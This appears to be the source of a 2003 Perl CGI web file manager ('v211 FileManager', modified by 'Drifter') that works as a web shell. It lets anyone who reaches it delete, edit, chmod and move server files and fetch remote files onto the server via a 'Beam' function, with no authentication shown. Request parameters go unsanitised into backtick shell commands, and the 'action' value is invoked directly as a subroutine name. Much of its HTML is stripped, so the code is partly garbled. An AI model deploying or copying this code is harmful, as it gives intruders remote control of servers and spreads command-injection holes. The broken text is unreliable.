#!/usr/bin/perl ##################### # v211 FileManager # # Date ~ 2/08/2003 # # v211@msn.com # # Modified Drifter # # Date ~ 2003 # ##################### use CGI; use LWP::Simple; $q = new CGI; $style = ''; $Root = $ENV{'DOCUMENT_ROOT'} . '/'; $title = 'Joes File Manager'; $body = "
"; $cd_color = ''; $rm_color = ''; $ed_color = ''; $ch_color = ''; $by_color = ''; $core_data_http = $data_http; $core_data_path = $data_path; $allowed_space = '200000'; # kilobytes $allowed_upload = '5000'; # kilobytes print "Content-type: text/html\n\n"; &list_dirs; ################################################ ### Script variables. DO NOT CHANGE ### ################################################ $ch_dir = $q->param('cd') if $q->param('cd'); $action = $q->param('action') if $q->param('action'); $operation = $q->param('operation') if $q->param('operation'); if (($ch_dir) && (!$action) && (!$operation)) { $done = "$ch_dir "; } # Check for allowed disk space $du = `du $core_data_path`; $du =~ s/\n/ /g; @terms = split(/\s+/,$du); $used_space = $terms[-2] / 2; $free_space = $allowed_space - $used_space; $allowed_upload = $free_space if ($free_space <= $allowed_upload); $delete_only = 'true' if ($free_space < 50); if ($delete_only eq 'true') { $disabled = "disabled"; $readonly = "readonly"; } ### location of file. and location of top directory $this_url = $ENV{'SCRIPT_NAME'}; $mgr = $this_url; @urls = split(/\//,$this_url); pop(@urls); $top_dir = $urls[$#urls]; if ($top_dir) { $top_dir = '/'.$top_dir; } $top_dir .= '/'; ### find out if we are in another directory if ($ch_dir) { $new_dir = "$ch_dir"; } else { $new_dir = '.'; } if ($ch_dir) { @ch_dirs = split(/\//,$ch_dir); pop(@ch_dirs); $up_dir = join("\/",@ch_dirs); } if ($up_dir) { $last_dir = "cd=$up_dir"; } ### directory we are in $this_dir = $top_dir.$ch_dir; $cur_loc = "
|
Current Directory:
$ENV{HOME}$this_dir
";
### read the contents of the directory
if ($action eq "chmod") {
&chmod;
&read_dir;
} elsif ($action) {
$go = $action;
&$go;
&read_dir;
} elsif ($operation) {
&parse_input;
if ($q->param('confirm')) {
$go = $operation;
&$go;
&read_dir;
} else {
&confirm;
}
exit;
} else {
&read_dir;
}
exit;
sub show_files {
$_ = $done;
if (!$_) {
$_ = 'Root
';
}
if ($new_dir ne '.') {
$d = "\&cd=$new_dir";
}
if ($done) {
$p = "Previous Action: ";
}
print <
| $name |
|
$by_color $size | $ch_color $perm | $rn_color Rename | $rm_color Del | EOM } print "$name | $ed_color Edit | $by_color $size | $ch_color $perm | $rn_color rename | $rm_color Del | EOM } print <
|
|
\n");
while ($file = readdir(DIR)) {
$temp = $new_dir.'/'.$file;
if (-d $temp) {
unless ($file eq '.' || $file eq '..') {
push(@dirs,$file);
@dirs = sort(@dirs);
}
} else {
push(@files,$file);
@files = sort(@files);
}
}
closedir(DIR);
if ($ch_dir) {
$ch_dir .= '/';
$ch_dir =~ s/\/\//\//g;
}
foreach (@dirs) {
$ls = `ls -ld $ch_dir$_`;
push(@ls_dirs,$ls);
}
foreach (@files) {
$ls = `ls -l $ch_dir$_`;
push(@ls_files,$ls);
}
if ($new_dir eq '.') {
$next_dir = '';
} else {
$next_dir = $new_dir.'/';
$next_dir =~ s/\/\//\//g;
}
foreach (@ls_dirs) {
@stats = split(/\ /,$_);
$n = $#stats;
$sub_dir = $stats[$n];
$this_sub_dir = $next_dir.$sub_dir;
chomp($sub_dir);
$mod_date = (stat($sub_dir))[9];
@times = localtime($mod_date);
$hr = $times[2];
$min = $times[1];
$day = $times[3];
$month = $times[4];
if ($hr < 10) { $hr = "0$hr"; }
if ($min < 10) { $min = "0$min"; }
$date = "$months[$month] $day $hr:$min";
$size = (stat($sub_dir))[7];
$perm = $stats[0];
$stat = "$this_sub_dir*$sub_dir*$date*$size*$perm";
push(@dir_stats,"$stat");
}
foreach (@ls_files) {
@stats = split(/\ /,$_);
$n = $#stats;
$filename = $stats[$n];
chomp($filename);
$mod_date = (stat($filename))[9];
@times = localtime($mod_date);
$hr = $times[2];
$min = $times[1];
$day = $times[3];
$month = $times[4];
if ($hr < 10) { $hr = "0$hr"; }
if ($min < 10) { $min = "0$min"; }
$date = "$months[$month] $day $hr:$min";
$size = (stat($filename))[7];
$perm = $stats[0];
$stat = "$next_dir*$filename*$date*$size*$perm";
push(@fil_stats,"$stat");
}
&show_files;
}
sub chmod {
$chmod = $q->param('chmod');
$chmod_val = $q->param('chmod_val');
$chmod_it = `chmod $chmod_val $chmod 2>&1`;
if (!$chmod_it) {
print($chmod_it);
$done = "CHMODed $cd_color$chmod to $chmod_val.";
} else {
$done = "File $cd_color$chmod $rm_color WAS NOT CHMODed.
$!
$chmod_it
";
}
}
sub edit {
if ($q->param('edit')) {
$edit = $q->param('edit');
}
$get = `cat $edit 2>&1`;
$get =~ s/&/&/g;
$get =~ s/</g;
@files = split(/\//,$edit);
$file = pop(@files);
print <
Search/Replace
Replace
but $rm_color WAS NOT CHMODed properly.
Please check the permissions on $file.
$ch_it
";
}
}
sub rm {
$rem_it = $q->param('rem_it');
if (-d $rem_it) {
$do = 'rm -r';
$type = "Directory";
print($response);
} else {
$do = 'rm';
$type = "File";
}
$response = `$do $rem_it 2>&1`;
if ($response =~ /no/ || $response =~ /empty/) {
$done = "ERROR: $type $cd_color$rem_it $rm_color WAS NOT removed/deleted from system.
$response
";
} else {
print($response);
$done = "$type $rm_color$rem_it removed/deleted from system";
}
}
sub cancel {
$cancel = $q->param('file');
$done = "File $cancel was $rm_color WAS NOT saved.";
}
sub Copy {
$unit_num = 0;
$done = '';
foreach($q->param('new_path')) {
$old = $units[$unit_num];
if (-d $old) {
unless (-e $_) {
$do = `mkdir $_; chmod 775 $_ 2>&1`;
if (!$do) {
print($do);
}
}
$do = `cp $old\/\* $_ 2>&1`;
} else {
$do = `cp $old $_ 2>&1`;
}
if (!$do) {
print($do);
$done .= "Copied $cd_color$old to $cd_color$_
\n";
} else {
$done .= "Could $rm_color NOT copy $old to $_
$do
\n";
}
++$unit_num;
}
}
sub Zip {
$unit_num = 0;
$done = '';
foreach($q->param('new_path')) {
$old = $units[$unit_num];
$do = `zip -r $_ $old 2>&1`;
$done .= "Zipped $cd_color$old to $cd_color$_
$do
\n";
++$unit_num;
}
}
sub UnZip {
$done = '';
foreach(@units) {
$do = `unzip $_ 2>&1`;
$done .= "UnZipped $cd_color$_
$do
\n";
}
}
sub Move {
$unit_num = 0;
$done = '';
foreach($q->param('new_path')) {
$old = $units[$unit_name];
$do = `mv $old $_ 2>&1`;
if (!$do) {
print($do);
$done .= "Moved $cd_color$old to $cd_color $_
\n";
} else {
$done = "Could $rm_color NOT move $old to $_
$do
\n";
}
++$unit_num;
}
}
sub Delete {
$done = "";
foreach(@units) {
if (-d $_) {
$do = `rmdir $_ 2>&1`;
} else {
$do = `rm -r $_ 2>&1`;
}
if (!$do) {
print($do);
$done .= "Deleted $rm_color$_ from database.
\n";
} else {
$done .= "Could $rm_color NOT delete $_ from database.
$do
\n";
}
}
}
sub CHMOD {
$unit_num = 0;
$done = '';
foreach($q->param('ch_val')) {
$file = $units[$unit_num];
$do = `chmod $_ $file 2>&1`;
if (!$do) {
print($do);
$done .= "CHMODed $cd_color $file to $_
\n";
} else {
$done .= "Could $rm_color NOT CHMOD $file to $_.
$do
\n";
}
++$unit_num;
}
}
sub MDir {
$new_dir_name = $q->param('new_name');
$do = `mkdir $new_dir_name; chmod 775 $new_dir_name 2>&1`;
if (!$do) {
print($do);
$done = "Directory $cd_color$new_dir_name has been successfully created.
\n";
} else {
$done = "Could $rm_color NOT make the directory $new_dir_name.
$do
\n";
}
}
sub Beam {
$target = $q->param('target');
$file = $q->param('new_name');
$do = `lwp-mirror $target $file 2>&1`;
if (!$do) {
print($do);
$done = "File $cd_color$target Beamed to $cd_color$file";
} else {
$done = "File $rm_color WAS NOT Beamed to $file.
$do
\n";
}
}
sub MFile {
$new_file_name = $q->param('new_name');
if (-e $new_file_name) {
$done = "ERROR: The file $cd_color$new_file_name already exists.
New file $rm_color NOT created.
\n";
return;
} else {
open(NEW_FILE,">$new_file_name") || return("Could $rm_color NOT make file $new_file_name.
\n");
close(NEW_FILE);
$edit = $new_file_name;
&edit;
}
}
sub Gzip {
$done = '';
foreach(@units) {
$do = `gzip $_ 2>&1`;
$done .= "File $cd_color$_ was Gzipped!
$do
\n";
}
}
sub UnGzip {
$done = '';
foreach(@units) {
$do = `gunzip $_ 2>&1`;
$done .= "File $cd_color$_ was UnGzipped!
$do
\n";
}
}
sub parse_input {
foreach($q->param('unit')) {
push(@units,$_);
}
}
sub renam {
$renam = $q->param('renam');
$rename_val = $q->param('rename_val');
$rename_it = `mv $renam $rename_val 2>&1`;
if (!$rename_it) {
print($rename_it);
$done = "File/Directory renamed to: $cd_color$rename_val ";
} else {
$done = "File $cd_color$renam $rm_color WAS NOT Renamed.
New $type Name: